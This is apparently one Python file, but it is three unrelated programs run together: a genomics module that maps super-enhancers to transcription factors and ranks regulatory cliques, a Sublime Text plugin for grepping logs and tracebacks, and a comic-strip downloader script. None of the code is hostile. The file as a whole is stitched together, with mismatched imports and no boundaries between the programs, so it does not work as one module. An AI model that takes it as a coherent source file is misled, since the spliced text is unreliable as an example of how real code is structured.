"""CRC analysis utilities."""

# Functions require fasta-get-markov to be callable with a 'fasta-get-markov' command
# and fimo with 'fimo' command. Both are part of the MEME suite.

import pickle
import subprocess
import sys
from collections import defaultdict

import networkx as nx
import numpy
from crc.definitions import ROOT_DIR
from crc.resources import utils
from networkx.algorithms.clique import find_cliques_recursive

# ================================================================================
# ===================================CLASSES======================================
# ================================================================================

class Genome(object):
    """Genome has attributes of a build name, a fasta directory and an annotation file."""

    __chrDict = dict()
    __featureDict = dict()

    def __init__(self, name, genome_directory):
        """Initialize attributes."""
        self._name = name
        self._directory = genome_directory

    def name(self):
        """Name of the genome."""
        return self._name

    def directory(self):
        """Genome directory."""
        return self._directory

    def add_feature(self, feature, path):
        """Add a genome feature to the feature dict."""
        if feature in self.__featureDict:
            print("WARNING OVERRIDING {} PATH WITH {}".format(feature, path))
        self.__featureDict[feature] = path

    def return_feature(self, feature):
        """Tries to load the selected feature from the feature dictionary."""
        if feature not in self.__featureDict:
            print(
                "ERROR: GENOME {} DOES NOT HAVE FEATURE {}".format(self.name(), feature)
            )
            sys.exit()
        else:
            return self.__featureDict[feature]

    def has_feature(self, feature):
        """Check if the feature exists."""
        return bool(feature in self.__featureDict)

# ================================================================================
# =================================FUNCTIONS======================================
# ================================================================================

def load_genome(genome_build, chrom_path, mask_file=None, config_file=""):
    """Loads annotation for a genome into a genome object."""

    # This nested dictionary has all of the useful information and likely will have to be
    # edited so it can be configured any time
    genome_dict = {
        "HG19": {
            "tf_file": "{}/annotation/TFlist_NMid_hg19.txt".format(ROOT_DIR),
            "mask": "{}/annotation/hg19_encode_blacklist.bed".format(ROOT_DIR),
            "motif_convert": "{}/annotation/MotifDictionary.txt".format(ROOT_DIR),
            "motif_database": "{}/annotation/VertebratePWMs.txt".format(ROOT_DIR),
        },
        "HG38": {
            "tf_file": "{}/annotation/TFlist_NMid_hg19.txt".format(ROOT_DIR),
            "mask": "{}/annotation/hg38_encode_blacklist.bed".format(ROOT_DIR),
            "motif_convert": "{}/annotation/MotifDictionary.txt".format(ROOT_DIR),
            "motif_database": "{}/annotation/VertebratePWMs.txt".format(ROOT_DIR),
        },
        "RN6": {
            "tf_file": "{}/annotation/TFlist_NMid_rn6.txt".format(ROOT_DIR),
            "motif_convert": "{}/annotation/MotifDictionary.txt".format(ROOT_DIR),
            "motif_database": "{}/annotation/VertebratePWMs.txt".format(ROOT_DIR),
        },
        "MM10": {
            "tf_file": "{}/annotation/TFlist_NMid_mm10.txt".format(ROOT_DIR),
            "motif_convert": "{}/annotation/MotifDictionary.txt".format(ROOT_DIR),
            "motif_database": "{}/annotation/VertebratePWMs.txt".format(ROOT_DIR),
        },
    }

    genome_build = genome_build.upper()

    if mask_file:
        genome_dict[genome_build]["mask"] = mask_file

    # Allow an optional config file to overwrite default paths
    if config_file:
        config_table = utils.parse_table(config_file, "\t")
        for line in config_table[1:]:
            (build, field, feature_path) = line[0].split(":")
            genome_dict[build.upper()][field.lower()] = feature_path

    if genome_build not in genome_dict:
        print("ERROR: UNSUPPORTED GENOME BUILD {}. EXITING NOW".format(genome_build))
        sys.exit()
    else:
        print("USING BUILD {} WITH FOLLOWING FIELDS:".format(genome_build))
        print(genome_dict[genome_build])

    # Now attempt to load the genome
    genome = Genome(genome_build, chrom_path)

    # Adding additional optional features
    genome.add_feature("tf_file", genome_dict[genome_build]["tf_file"])
    genome.add_feature("motif_convert", genome_dict[genome_build]["motif_convert"])
    genome.add_feature("motif_database", genome_dict[genome_build]["motif_database"])
    if "mask" in genome_dict[genome_build]:
        genome.add_feature("mask", genome_dict[genome_build]["mask"])

    return genome

def gene_to_enhancer(genome, enhancer_file, activity_path):
    """Assign each Super-Enhancer to the closest active TSS to its center.

    Return a dictionary keyed by TF that points to a list of loci.

    """
    print("Identifying enhancers and target genes from {}".format(enhancer_file))
    # Should this do gene assignment????
    # For now assume gene assignment has been done
    # Can later toggle to do gene assignment

    # First load the TF lists
    tf_table = utils.parse_table(genome.return_feature("tf_file"), "\t")

    motif_table = utils.parse_table(genome.return_feature("motif_convert"), "\t")

    # This gives all tfs that have a motif
    motif_tfs = utils.uniquify([line[1] for line in motif_table])

    # Intersect w/ the activity table
    if activity_path:
        activity_table = utils.parse_table(activity_path, "\t")

        # Figure out the right column for actual gene names
        # (basically not NM or NR and not a numeral)
        for i in range(len(activity_table[0])):
            # Assumes refseq
            if (
                activity_table[0][i][0:2] != "NM"
                and activity_table[0][i][0:2] != "NR"
                and not activity_table[0][i].isdigit()
            ):
                gene_col = i
                break
        print(
            "using column {} of {} gene activity table for common names"
            "".format(gene_col + 1, activity_path)
        )

        active_gene_list = [line[gene_col].upper() for line in activity_table]

        tf_list_name = utils.uniquify(
            [
                line[1]
                for line in tf_table
                if active_gene_list.count(line[1]) > 0 and motif_tfs.count(line[1]) > 0
            ]
        )
    else:
        tf_list_name = [line[1] for line in tf_table if motif_tfs.count(line[1]) > 0]

    print(
        "Identified {} TFs from {} that have motifs"
        "".format(len(tf_list_name), genome.return_feature("tf_file"))
    )

    # Keyed by gene with loci objects in the list
    gene_to_enhancer_dict = defaultdict(list)
    enhancer_to_gene_dict = defaultdict(list)

    # Assuming id,chrom,start,stop w/ gene names in the last 3 columns per standard ROSE output
    enhancer_table = utils.parse_table(enhancer_file, "\t")
    print("Analyzing {} cis-regulatory regions".format(len(enhancer_table)))

    # Now let's make the enhancer table by region and then by gene
    enhancer_region_table = [["ENHANCER_ID", "CHROM", "START", "STOP", "GENE_LIST"]]
    enhancer_tf_region_table = [["ENHANCER_ID", "CHROM", "START", "STOP", "GENE_LIST"]]
    gene_region_table = [["GENE", "TF", "CHROM", "START", "STOP", "ENHANCER_ID"]]
    gene_tf_region_table = [["GENE", "CHROM", "START", "STOP", "ENHANCER_ID"]]
    gene_summary_table = [["GENE", "TF", "ENHANCER_LIST"]]

    # Will need to track which ones are TFs
    candidate_tf_list = []
    # Find the columns for gene assignment
    header = enhancer_table[0]
    header_length = len(enhancer_table[0])
    closest_index = header.index("CLOSEST_GENE")
    proximal_index = header.index("PROXIMAL_GENES")
    overlap_index = header.index("OVERLAP_GENES")
    for line in enhancer_table[1:]:
        # Don't bother trying to figure out lines w/o target genes
        if len(line) != header_length:
            continue
        enhancer_locus = utils.Locus(line[1], line[2], line[3], ".", line[0])
        closest_gene_list = (
            line[closest_index].split(",") if line[closest_index] else []
        )
        proximal_gene_list = (
            line[proximal_index].split(",") if line[proximal_index] else []
        )
        overlap_gene_list = (
            line[overlap_index].split(",") if line[overlap_index] else []
        )
        all_gene_list = closest_gene_list + proximal_gene_list + overlap_gene_list
        all_gene_list = [gene.upper() for gene in all_gene_list]

        # Gets a unique list of all tfs
        if activity_path:
            all_gene_list = utils.uniquify(
                [gene for gene in all_gene_list if active_gene_list.count(gene) > 0]
            )
        else:
            all_gene_list = utils.uniquify(all_gene_list)

        candidate_gene_list = utils.uniquify(
            [gene for gene in all_gene_list if tf_list_name.count(gene) > 0]
        )
        if all_gene_list:
            for gene in all_gene_list:
                gene_to_enhancer_dict[gene].append(enhancer_locus)
                enhancer_to_gene_dict[enhancer_locus].append(gene)
            newline = line[0:4] + [",".join(all_gene_list)]
        else:
            newline = line[0:4] + [""]
        enhancer_region_table.append(newline)

        if candidate_gene_list:
            tf_line = line[0:4] + [",".join(candidate_gene_list)]
            enhancer_tf_region_table.append(tf_line)

    # Now iterate through each gene and list the enhancers
    gene_list = list(gene_to_enhancer_dict.keys())
    print(gene_list)
    gene_list.sort()
    for gene in gene_list:
        if tf_list_name.count(gene) > 0:
            tf_status = 1
            candidate_tf_list.append(gene)
        else:
            tf_status = 0
        enhancer_loci = gene_to_enhancer_dict[gene]
        enhancer_string = ",".join([enhancer.id for enhancer in enhancer_loci])
        gene_summary_table.append([gene, tf_status, enhancer_string])
        for enhancer in enhancer_loci:
            newline = [
                gene,
                tf_status,
                enhancer.chr,
                enhancer.start,
                enhancer.end,
                enhancer.id,
            ]
            gene_region_table.append(newline)
            if tf_status == 1:
                newline = [
                    gene,
                    enhancer.chr,
                    enhancer.start,
                    enhancer.end,
                    enhancer.id,
                ]
                gene_tf_region_table.append(newline)

    return (
        gene_region_table,
        gene_tf_region_table,
        enhancer_region_table,
        enhancer_tf_region_table,
        gene_summary_table,
        candidate_tf_list,
        gene_to_enhancer_dict,
    )

def gaussian_smooth(read_list, degree=5):
    """Smoothing function for raw bamliquidator output."""
    window = degree * 2 - 1
    weight = numpy.array([1.0] * window)
    weight_gauss = []

    for i in range(window):
        i = i - degree + 1
        frac = i / float(window)
        gauss = 1 / (numpy.exp((4 * (frac)) ** 2))
        weight_gauss.append(gauss)

    weight = numpy.array(weight_gauss) * weight
    smoothed = [0.0] * (len(read_list) - window)
    for i in range(len(smoothed)):
        smoothed[i] = sum(numpy.array(read_list[i: i + window]) * weight) / sum(weight)
    smoothed = (
        [0, 0, 0, 0, 0] + smoothed + [0, 0, 0, 0]
    )  # return an array of the same length

    return smoothed

def score_valley(locus, bam_list, max_read_length):
    """Calculate valley scores for a locus.

    Based on this refernce:
    http://bioinformatics.oxfordjournals.org/content/26/17/2071.full

    Takes in a bamDict where for each dataset you hold the path, the mmr, and the readlength so
    you can match extension pull in w subprocess.

    """
    # Average density for all in the group
    n_bins = locus.len() // 10

    # Want to make an average density gram
    density_matrix = []
    for bam in bam_list:
        # Calculate the extension
        extension = max_read_length - bam.get_read_lengths()[0]
        # This gives the normalized signal vector
        signal_vector = bam.liquidate_locus(locus, n_bins, ".", extension, mmr=True)
        density_matrix.append(signal_vector)

    # Now get the average
    if len(density_matrix) > 1:
        density = [
            numpy.average([line[i] for line in density_matrix])
            for i in range(len(density_matrix[0]))
        ]
    else:
        density = density_matrix[0]

    smooth_density = gaussian_smooth(density, 5)

    score_array = []
    region_max = max(smooth_density)

    # Now take the smooth reads and calculate a valley score
    for i, smooth_density_value in enumerate(smooth_density):
        score = 0
        try:
            leftmax = max(smooth_density[i - 25: i - 10])
        except ValueError:
            leftmax = "edge"
        try:
            rightmax = max(smooth_density[i + 10: i + 25])
        except ValueError:
            rightmax = "edge"

        if rightmax == "edge" and leftmax == "edge":
            shoulder_height_max = 0
        elif leftmax == "edge":
            shoulder_height_max = rightmax
        elif rightmax == "edge":
            shoulder_height_max = leftmax
        else:
            shoulder_height_max = max(leftmax, rightmax)

        ratio = (shoulder_height_max - float(smooth_density_value)) / region_max
        if ratio > 0.3:
            score = 1
        else:
            score = 0

        score_array.append(score)

    return score_array

def stitch_valleys(valley_list):
    """Returns a stitched list of valleys to extract seq from."""
    valley_collection = utils.LocusCollection(valley_list, 1)
    stitched_valley_collection = valley_collection.stitch_collection()
    loci = []
    regions = []
    for valley in stitched_valley_collection.get_loci():
        if [valley.chr, valley.start, valley.end] not in regions:
            loci.append(valley)
            regions.append([valley.chr, valley.start, valley.end])
    return loci

def find_valleys(
    gene_to_enhancer_dict, bam_file_list, project_name, project_folder, cutoff=0.2
):
    """Returns a dictionary of refseqs with all valley loci that are associated.

    Returns 2 kinds of bed files. 1 = all

    """
    # First make the bamDict
    all_valley_bed = []
    valley_dict = {}

    # Start w/ a bam_file_list and make a list of bam type objects
    bam_list = [utils.Bam(bam_path) for bam_path in bam_file_list]
    max_read_length = max([bam.get_read_lengths()[0] for bam in bam_list])

    gene_list = list(gene_to_enhancer_dict.keys())
    gene_list.sort()
    ticker = 0
    print("number of regions processed:")
    for gene in gene_list:

        valley_dict[gene] = []

        for region in gene_to_enhancer_dict[gene]:
            if ticker % 100 == 0:
                print(ticker)
            ticker += 1
            score_array = score_valley(region, bam_list, max_read_length,)
            for index, score in enumerate(score_array):
                if score > cutoff:
                    valley = utils.Locus(
                        region.chr,
                        region.start + index * 10,
                        region.start + (index + 1) * 10,
                        ".",
                    )
                    valley_dict[gene].append(valley)

        stitched_valleys = stitch_valleys(valley_dict[gene])
        for valley in stitched_valleys:
            all_valley_bed.append([valley.chr, valley.start, valley.end])
            valley_dict[gene] = stitched_valleys

    all_bed_path = project_folder + project_name + "_all_valleys.bed"
    utils.unparse_table(all_valley_bed, all_bed_path, "\t")

    return all_bed_path

def filter_subpeaks(subpeak_file, analysis_name, output_folder):
    """Takes the initial subpeaks in, stitches them."""
    # Stitch the subpeaks
    print(subpeak_file)
    subpeak_collection = utils.import_bound_region(
        subpeak_file, "%s_subpeak" % (analysis_name)
    )

    subpeak_collection = subpeak_collection.stitch_collection()

    subpeak_loci = subpeak_collection.get_loci()

    all_sub_bed = []
    for locus in subpeak_loci:
        bed_line = [locus.chr, locus.start, locus.end, ".", locus.id]
        all_sub_bed.append(bed_line)

    all_bed_path = output_folder + analysis_name + "_all_subpeak.bed"
    utils.unparse_table(all_sub_bed, all_bed_path, "\t")

    return all_bed_path

def generate_subpeak_fasta(
    gene_to_enhancer_dict, subpeaks, genome, project_name, const_extension
):
    """Generate a subpeak FASTA.

    From a BED file of constituents generate a FASTA for the consituients contained within the
    canidate supers.

    """
    genome_directory = genome.directory()
    subpeak_dict = {}
    subpeak_bed = [["track name=" + project_name + " color=204,0,204"]]
    subpeak_table = utils.parse_table(subpeaks, "\t")

    subpeak_loci = [utils.Locus(l[0], int(l[1]), int(l[2]), ".") for l in subpeak_table]
    subpeak_collection = utils.LocusCollection(subpeak_loci, 50)

    for gene in gene_to_enhancer_dict.keys():
        subpeak_dict[gene] = []
        for region in gene_to_enhancer_dict[gene]:
            overlaps = subpeak_collection.get_overlap(region)
            extended_overlaps = [
                utils.make_search_locus(x, const_extension, const_extension)
                for x in overlaps
            ]

            overlap_collection_temp = utils.LocusCollection(extended_overlaps, 50)
            overlap_collection = overlap_collection_temp.stitch_collection()
            for overlap in overlap_collection.get_loci():
                subpeak_bed.append([overlap.chr, overlap.start, overlap.end])
                subpeak_dict[gene].append(overlap)

    fasta = []
    for gene in subpeak_dict:
        for subpeak in subpeak_dict[gene]:
            fasta_title = "|".join(
                [gene, subpeak.chr, str(subpeak.start), str(subpeak.end)]
            )
            fasta_line = utils.fetch_seq(
                genome_directory,
                subpeak.chr,
                int(subpeak.start + 1),
                int(subpeak.end + 1),
            )

            fasta.append(">" + fasta_title)
            fasta.append(fasta_line.upper())

    return subpeak_bed, fasta

def make_motif_background(subpeak_fasta, project_folder, project_name):
    """Makes a 1st order markov background file for fimo."""
    bg_cmd = "".join(
        [
            "fasta-get-markov -m 1 < ",
            subpeak_fasta,
            "  > ",
            project_folder,
            project_name,
            "_bg.meme",
        ]
    )
    bg_path = "{}{}_bg.meme".format(project_folder, project_name)
    subprocess.call(bg_cmd, shell=True)

    return bg_path

def find_motifs(
    subpeak_fasta,
    bg_path,
    candidate_tf_list,
    project_folder,
    analysis_name,
    motif_convert_file,
    motif_database_file,
):
    """Find motifs.

    Takes the refseq to subpeak seq dict and returns the networkx object with all connections.

    """
    fimo_folder = utils.format_folder(project_folder + "FIMO/", True)
    subpeak_name = subpeak_fasta.split("/")[-1].split(".")[0]
    output = "{}{}_fimo.txt".format(fimo_folder, subpeak_name)

    # Create a dictionary to call motif names keyed on gene names
    motif_database = utils.parse_table(motif_convert_file, "\t")
    motif_database_dict = {}  # create a dict keyed by TF with multiple motifs

    for line in motif_database:
        motif_database_dict[line[1]] = []
    for line in motif_database:
        motif_database_dict[line[1]].append(line[0])

    candidate_tf_list.sort()

    print(candidate_tf_list)

    # Now make a list of all motifs
    motif_list = []
    for tf in candidate_tf_list:
        motif_list += motif_database_dict[tf]

    motif_list = utils.uniquify(motif_list)

    fimo_bash_path = "{}{}_fimo.sh".format(fimo_folder, analysis_name)
    fimo_bash = open(fimo_bash_path, "w")
    fimo_bash.write("#!/usr/bin/bash\n\n")

    fimo_cmd = "fimo"
    for motif in motif_list:
        fimo_cmd += " --motif " + "'{}'".format(str(motif))

    # fimo_cmd += ' --thresh 1e-5'  # if you want to increase stringency
    fimo_cmd += " -verbosity 1"
    fimo_cmd += " -text"
    fimo_cmd += " -oc " + project_folder + "FIMO"
    fimo_cmd += " --bgfile {}".format(bg_path)
    fimo_cmd += " " + motif_database_file + " "
    fimo_cmd += subpeak_fasta
    fimo_cmd += " > " + output
    print(fimo_cmd)
    fimo_bash.write(fimo_cmd)
    fimo_bash.close()

    subprocess.call(fimo_cmd, shell=True)  # will wait that fimo is done to go on

    return output

#  After fimo, we should collapse the motif edges into beds before going into networks

def collapse_fimo(
    fimo_output, candidate_tf_list, output_folder, analysis_name, motif_convert_file
):
    """Collapses motifs from fimo.

    For each source node (TF) and each target node (gene enhancer regions), collapse motif
    instances then spit out a ginormous set of beds and a single crazy collapsed bed.

    """
    # First build up the motif name conversion database
    motif_database = utils.parse_table(motif_convert_file, "\t")
    motif_database_dict = defaultdict(list)

    # The reverse of the other dict, from motif name to gene name
    # A motif can go to multiple genes
    for line in motif_database:
        motif_database_dict[line[0]].append(line[1])

    # Make the folder to store motif beds
    utils.format_folder("{}motif_beds/".format(output_folder), True)

    edge_dict = {}

    # First layer are source nodes
    for tf in candidate_tf_list:
        edge_dict[tf] = defaultdict(list)
    # Next layer are target nodes which are derived from the fimo output

    fimo_table = utils.parse_table(fimo_output, "\t")
    print(fimo_output)

    # fimo sometimes puts the region in either the first or second column
    fimo_line = fimo_table[1]
    if fimo_line[1].count("|") > 0:
        region_index = 1
    else:
        region_index = 2
    print("USING COLUMN {} OF FIMO OUTPUT FOR REGION".format(region_index))

    for line in fimo_table[1:]:
        source_tfs = motif_database_dict[line[0]]  # motifId
        for source in source_tfs:
            if candidate_tf_list.count(source) == 0:
                continue
            region = line[region_index].split("|")

            target = region[0]
            if region_index == 2:
                target_locus = utils.Locus(
                    region[1],
                    int(region[2]) + int(line[3]),
                    int(region[2]) + int(line[4]),
                    ".",
                )
            else:
                target_locus = utils.Locus(
                    region[1],
                    int(region[2]) + int(line[2]),
                    int(region[2]) + int(line[3]),
                    ".",
                )

            # What's missing here is the enhancer id of the target locus
            try:
                edge_dict[source][target].append(target_locus)
            except KeyError:
                print("This motif is not in the network")
                print(line)
                sys.exit()

    # Now we actually want to collapse this down in a meaningful way
    # Overlapping motifs count as a single binding site. This way a TF with tons of motifs
    # that finds the same site over and over again doesn't get over counted
    all_bed = []
    all_bed_path = "{}{}_all_motifs.bed".format(output_folder, analysis_name)
    for tf in candidate_tf_list:
        print(tf)
        target_nodes = edge_dict[tf].keys()
        bed_header = [
            'track name = "{}" description="{} motifs in {}"'.format(
                tf, tf, analysis_name
            )
        ]
        all_bed.append(bed_header)
        target_bed = [bed_header]
        target_bed_path = "{}motif_beds/{}_motifs.bed".format(output_folder, tf)
        for target in target_nodes:
            edge_collection = utils.LocusCollection(edge_dict[tf][target], 50)
            edge_collection = edge_collection.stitch_collection()
            edge_loci = edge_collection.get_loci()
            edge_dict[tf][target] = edge_loci
            for locus in edge_loci:
                bed_line = [locus.chr, locus.start, locus.end, target, "", "+"]
                target_bed.append(bed_line)
                all_bed.append(bed_line)

        utils.unparse_table(target_bed, target_bed_path, "\t")
    # Now the loci are all stitched up
    utils.unparse_table(all_bed, all_bed_path, "\t")
    return edge_dict

def build_graph(
    edge_dict, gene_to_enhancer_dict, output_folder, analysis_name, cutoff=1
):
    """Build a target graph from the collapsed edge dictionary.

    Require at least n motifs to constitute an edge where n is set by cutoff.
    Default is 1.

    """
    node_list = list(edge_dict.keys())
    node_list.sort()

    # This is only edges between TFs
    graph = nx.DiGraph(name=analysis_name)
    graph.add_nodes_from(node_list)

    # This stores ALL edges identified by motifs
    edge_table = [
        ["SOURCE", "TARGET", "CHROM", "START", "STOP", "REGION_ID", "TF_INTERACTION"]
    ]
    edge_output = "{}{}_EDGE_TABLE.txt".format(output_folder, analysis_name)

    for source in node_list:
        print(source)
        target_list = list(edge_dict[source].keys())
        target_list.sort()
        for target in target_list:

            # Now we need to see which target regions this guy overlaps
            target_regions = gene_to_enhancer_dict[target]
            target_collection = utils.LocusCollection(target_regions, 50)

            # Get the edges hitting that target
            edge_loci = edge_dict[source][target]
            if node_list.count(target) > 0:
                tf_interaction = 1
            else:
                tf_interaction = 0
            # Only add to the graph if this is a TF/TF interaction
            if len(edge_loci) >= cutoff and node_list.count(target) > 0:
                graph.add_edge(source, target)

            # Now for each edge, add to the table
            for edge_locus in edge_loci:
                region_string = ",".join(
                    [locus.id for locus in target_collection.get_overlap(edge_locus)]
                )
                edge_line = [
                    source,
                    target,
                    edge_locus.chr,
                    edge_locus.start,
                    edge_locus.end,
                    region_string,
                    tf_interaction,
                ]
                edge_table.append(edge_line)

    utils.unparse_table(edge_table, edge_output, "\t")
    return graph

def get_clique_ranking(clique_list, out_degree_dict):
    """Clique score generator."""
    for clique in clique_list:
        score = 0
        for gene in clique:
            score += out_degree_dict[gene]
        score = float(score) / len(clique)
        if score > 0 and len(clique) > 2:
            yield (clique, score)

def pairs(self_loops, graph):
    """Recover bidirectional edges."""
    for n in self_loops:
        for m in self_loops:
            if n != m:
                if graph.has_edge(n, m) and graph.has_edge(m, n):
                    yield [n, m]

def format_network_output(graph, output_folder, analysis_name):
    """Takes the networkx graph and returns all figures, tables, etc."""

    # Output the network as a .ntx dictionary of lists
    network_filename = output_folder + analysis_name + ".ntx"
    with open(network_filename, "wb") as network_file:
        network_dict_of_lists = nx.to_dict_of_lists(graph)
        pickle.dump(network_dict_of_lists, network_file)

    # Output the adjacency list and nodelist
    node_file = output_folder + analysis_name + "_NODELIST.txt"
    if nx.__version__[0] == "1":
        node_list = [[n] for n in graph.nodes_iter()]
    elif nx.__version__[0] == "2":
        node_list = [[n] for n in graph.nodes()]
    else:
        print("ERROR: UNSUPPORTED VERSION OF NETWORKX MODULE")
        sys.exit()
    utils.unparse_table(node_list, node_file, "\t")

    adj_file = output_folder + analysis_name + "_ADJ_LIST.txt"

    if nx.__version__[0] == "1":
        adj_list = graph.adjacency_list()
    elif nx.__version__[0] == "2":
        adj_list = [list(n[1].keys()) for n in graph.adjacency()]
    else:
        print("ERROR: UNSUPPORTED VERSION OF NETWORKX MODULE")
        sys.exit()

    utils.unparse_table(adj_list, adj_file, "\t")

    edges_table = [["From", "To"]]
    for i, gene in enumerate(node_list):
        for j in adj_list[i]:
            newline = [gene[0], j]
            edges_table.append(newline)

    edge_file = output_folder + analysis_name + "_EDGE_LIST.txt"
    utils.unparse_table(edges_table, edge_file, "\t")

    # Make the degree table
    deg_table = [["Tf", "In_Degree", "Out_Degree", "Total_Connections"]]
    deg_file = output_folder + analysis_name + "_DEGREE_TABLE.txt"

    # Shouldn't we output the table for the TFs that have motifs only?
    # For canidateMotifs in graph.nodes()....
    for node in graph.nodes():
        newline = [
            node,
            graph.in_degree()[node],
            graph.out_degree()[node],
            graph.degree()[node],
        ]
        deg_table.append(newline)

    utils.unparse_table(deg_table, deg_file, "\t")

    print("DEFINING THE CORE REGULATORY CIRCUIT")

    autoreg = graph.selfloop_edges()
    self_loops = [x for x, y in autoreg]
    self_loop_file = output_folder + analysis_name + "_SELF_LOOPS.txt"
    utils.unparse_table(self_loops, self_loop_file, "")

    un_dir_graph = nx.from_edgelist(pairs(self_loops, graph))
    clique_gen = find_cliques_recursive(un_dir_graph)
    out_degree_dict = graph.out_degree()

    clique_ranking = get_clique_ranking(clique_gen, out_degree_dict)

    factor_enrichment_dict = {}
    for factor in self_loops:
        factor_enrichment_dict[factor] = 0

    clique_len = 0
    top_cliques = []
    min_clique = ()
    for clique, score in clique_ranking:
        clique_len += 1
        for factor in clique:
            factor_enrichment_dict[factor] += 1

        # Get top 100 cliques
        if clique_len <= 100:
            top_cliques.append((clique, score))
            continue

        if not min_clique:
            min_clique = min(top_cliques, key=lambda x: x[1])

        if score > min_clique[1]:
            top_cliques.remove(min_clique)
            top_cliques.append((clique, score))
            min_clique = min(top_cliques, key=lambda x: x[1])

    top_cliques.sort(reverse=True, key=lambda x: x[1])
    clique_file = output_folder + analysis_name + "_CLIQUE_SCORES_DEGREE.txt"
    utils.unparse_table(top_cliques, clique_file, "\t")

    factor_ranking_table = []
    for factor in self_loops:
        newline = [factor, factor_enrichment_dict[factor] / float(clique_len)]
        factor_ranking_table.append(newline)

    factor_ranking_file = output_folder + analysis_name + "_ENRICHED_CLIQUE_FACTORS.txt"
    utils.unparse_table(factor_ranking_table, factor_ranking_file, "\t")


import sublime, sublime_plugin
from contextlib import contextmanager

def compare_regions(item):
    return item.begin()

def select_all_lines_containing_current_selection(view):
    view.window().run_command("find_all_under")
    view.run_command("expand_selection", dict(to="line"))

def grep_selection(view, edit, invert_selection=True):
    select_all_lines_containing_current_selection(view)
    if invert_selection:
        view.run_command("invert_selection")
    _ = [view.erase(edit, region) for region in sorted(view.sel(), key=compare_regions, reverse=True)]

def expand_multiline_message(view, selection=None):
    beginnings = view.find_all(r"^\d+.*$")
    total = len(beginnings)
    for index, region in enumerate(beginnings):
        if region.a <= selection.a and beginnings[(index+1)%total].a >= selection.a:
            view.sel().add(sublime.Region(region.a, region.b-1))
            expand_multiline_messages(view)
            break

def expand_multiline_messages(view):
    selection = view.sel()
    regions = list(selection)
    for region in regions:
        next_traceback_line_region = view.find(r"(?:\n[^\d].*)+", region.b+1)
        if next_traceback_line_region.a == next_traceback_line_region.b:
            continue
        if (next_traceback_line_region.a, next_traceback_line_region.b) == (-1, -1):
            continue
        selection.add(sublime.Region(next_traceback_line_region.a, next_traceback_line_region.b+1))

def log_grep_selection(view, edit, invert_selection=True):
    select_all_lines_containing_current_selection(view)
    expand_multiline_messages(view)
    if invert_selection:
        view.run_command("invert_selection")
    _ = [view.erase(edit, region) for region in sorted(view.sel(), key=compare_regions, reverse=True)]

def get_selected_region(view):
    first_selection = view.sel()[0]
    current_position = first_selection.begin(), first_selection.end()
    word = view.substr(first_selection)
    return current_position, word

@contextmanager
def stay_in_place(view):
    current_position, word = get_selected_region(view)
    all_positions = sorted([(region.a, region.b) for region in view.find_all(word, sublime.LITERAL)])
    index = all_positions.index(current_position)
    yield
    view.sel().clear()
    view.sel().add(view.find_all(word, sublime.LITERAL)[index])

class GrepCommand(sublime_plugin.TextCommand):
    def run(self, edit):
        with stay_in_place(self.view):
            grep_selection(self.view, edit)

class GrepExcludeCommand(sublime_plugin.TextCommand):
    def run(self, edit):
        grep_selection(self.view, edit, invert_selection=False)
        self.view.sel().clear()

class LogGrepCommand(sublime_plugin.TextCommand):
    def run(self, edit):
        _, word = get_selected_region(self.view)
        if len(word) < 4:
            sublime.error_message("selection is too short, it will take too long to grep this")
            return
        with stay_in_place(self.view):
            log_grep_selection(self.view, edit)

class LogGrepExcludeCommand(sublime_plugin.TextCommand):
    def run(self, edit):
        _, word = get_selected_region(self.view)
        if len(word) < 4:
            sublime.error_message("selection is too short, it will take too long to grep this")
            return
        log_grep_selection(self.view, edit, invert_selection=False)
        self.view.sel().clear()

class ExpandLogMessage(sublime_plugin.TextCommand):
    def run(self, edit):
        selection = self.view.sel()[0]
        self.view.sel().clear()
        expand_multiline_message(self.view, selection)

class GrepTracebacks(sublime_plugin.TextCommand):
    def run(self, edit):
        self.view.sel().clear()
        for selection in self.view.find_all("Traceback", sublime.LITERAL):
            expand_multiline_message(self.view, selection)
        self.view.run_command("invert_selection")
        _ = [self.view.erase(edit, region) for region in sorted(self.view.sel(), key=compare_regions, reverse=True)]


#!/usr/bin/env python3

r'''
Download all Ozy and Millie comics.

Usage:
  oam-dl --create
  oam-dl --download (<NUM> | -r <START> <END> | -a) [--path=PATH | --pathc=PATH]
  oam-dl -h | --help
  oam-dl --version

Options:
      --create    Creates the db of Ozy and Millie comics
      --download  Download the comic...
        <NUM>       with this release number
        -r          with release numbers from <START> to <END>
        -a          in its entirety  (may take a while)
        path        with the root directory OAM in this directory
        pathc       same as path, but create the directory if it does not exist
  -h, --help       Show help
      --version    Show version
'''
from docopt import docopt
from os.path import expanduser
from progress.bar import Bar
import json
import os
import re
import requests

__version__ = '0.2.1'
__author__ = "Mike Overby"

arguments = docopt(__doc__, version=__version__)

HOME = expanduser("~")
BASE_URL = 'http://ozyandmillie.org/comics/'
OAM_DICT_FILENAME = os.path.join(HOME, 'oam_dict.json')
ROOT_DIR = os.path.join(HOME, 'OAM')

#Create the json object representing the comic's archive
def create():
    archive = requests.get(BASE_URL)
    if archive.status_code == 200:
        archive_html = archive.text
        links = re.findall(r'<a href="(.+?)"', archive_html)
        links = links[1:] #Cut off the parent directory link in webpage
        OAM_DICT = {}
        for oam_num in range(len(links)):
            comic_info = {}

            #Save the date
            day = re.match(r'^(\d+)-(\d+)-(\d+)', links[oam_num])
            comic_info['date'] = {}

            comic_info['date']['year'] = int(day.group(1))
            comic_info['date']['month'] = int(day.group(2))
            comic_info['date']['day'] = int(day.group(3))

            #Save the link
            comic_info['link'] = links[oam_num]

            OAM_DICT[oam_num] = comic_info
        with open(OAM_DICT_FILENAME, 'w') as f:
            json.dump(OAM_DICT, f)
            print("Updated the links")
    else:
        print("The internet connection didn't work.")

#Read in the json object representing the archive
def read_in_OAM_DICT():
    if not os.path.exists(OAM_DICT_FILENAME):
        print("There is no data. Run --create")
        return None
    with open(OAM_DICT_FILENAME, "r") as f:
        data = json.loads(f.readline())
        return data

def is_valid_release_num(OAM_DICT, num):
    return 0 < num < len(OAM_DICT)

#Download a single comic
def download_one(OAM_DICT, comic):
    comic = str(comic)

    os.makedirs(ROOT_DIR, exist_ok=True)

    year_dir = os.path.join(ROOT_DIR, str(OAM_DICT[comic]['date']['year']))
    os.makedirs(year_dir, exist_ok=True)

    month_dir = os.path.join(year_dir, str(OAM_DICT[comic]['date']['month']))
    os.makedirs(month_dir, exist_ok=True)
    comic_path = os.path.join(month_dir, str(OAM_DICT[comic]['link']))
    if not os.path.exists(comic_path):
        with open(comic_path, 'wb') as c:
            link = BASE_URL + OAM_DICT[comic]['link']
            pic = requests.get(link)
            if pic.status_code == 200:
                c.write(pic.content)
            else:
                c.close()
